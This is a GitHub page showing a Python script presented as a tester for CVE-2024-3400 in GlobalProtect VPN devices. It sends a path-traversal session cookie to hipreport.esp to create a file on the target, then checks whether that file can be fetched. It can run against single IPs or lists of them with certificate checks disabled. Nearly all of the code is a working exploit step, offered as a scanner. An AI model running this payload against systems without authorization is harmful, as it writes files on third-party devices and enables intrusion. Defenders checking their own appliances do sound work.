-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
56 lines (47 loc) · 2.24 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# Suppress SSL certificate verification warnings
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def get_request(ip):
"""Send requests to the given IP address and check for vulnerabilities."""
try:
# Request to create a new file
request_url = f"https://{ip}/ssl-vpn/hipreport.esp"
response = requests.post(request_url, headers={
"Cookie": "SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/poc.txt;",
"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "0"
}, verify=False)
# Request to check if the file has been uploaded
request_url = f"https://{ip}/global-protect/portal/images/poc.txt"
response = requests.get(request_url, verify=False)
if response.status_code == 404:
print(f"[!] {ip} - File not found, device most likely not vulnerable. (Status code 404)")
elif response.status_code == 403:
print(f"[!] {ip} - File created and found, device is vulnerable! Take action! (Status code 403)")
else:
print(f"[!] {ip} - Unexpected status code for second request: {response.status_code}")
except requests.exceptions.ConnectionError:
print(f"[!] {ip} - Failed to connect! Host is not reachable.")
except requests.exceptions.RequestException as e:
print(f"[!] {ip} - An error occurred while trying to connect: {e}")
def process_file(input_file):
with open(input_file, 'r') as f:
for line in f:
ip = line.strip()
get_request(ip)
def main():
parser = argparse.ArgumentParser(description="**** CVE-2024-3400 tester ****")
parser.add_argument('-r', '--ip', help="IP address for single request")
parser.add_argument('-R', '--file', help="File path containing list of IP addresses")
args = parser.parse_args()
if args.ip:
get_request(args.ip)
elif args.file:
process_file(args.file)
else:
print("[!] No IP or file specified. Use -r <ip> for a single IP or -R <file> for a list of IPs.")
if __name__ == "__main__":
main()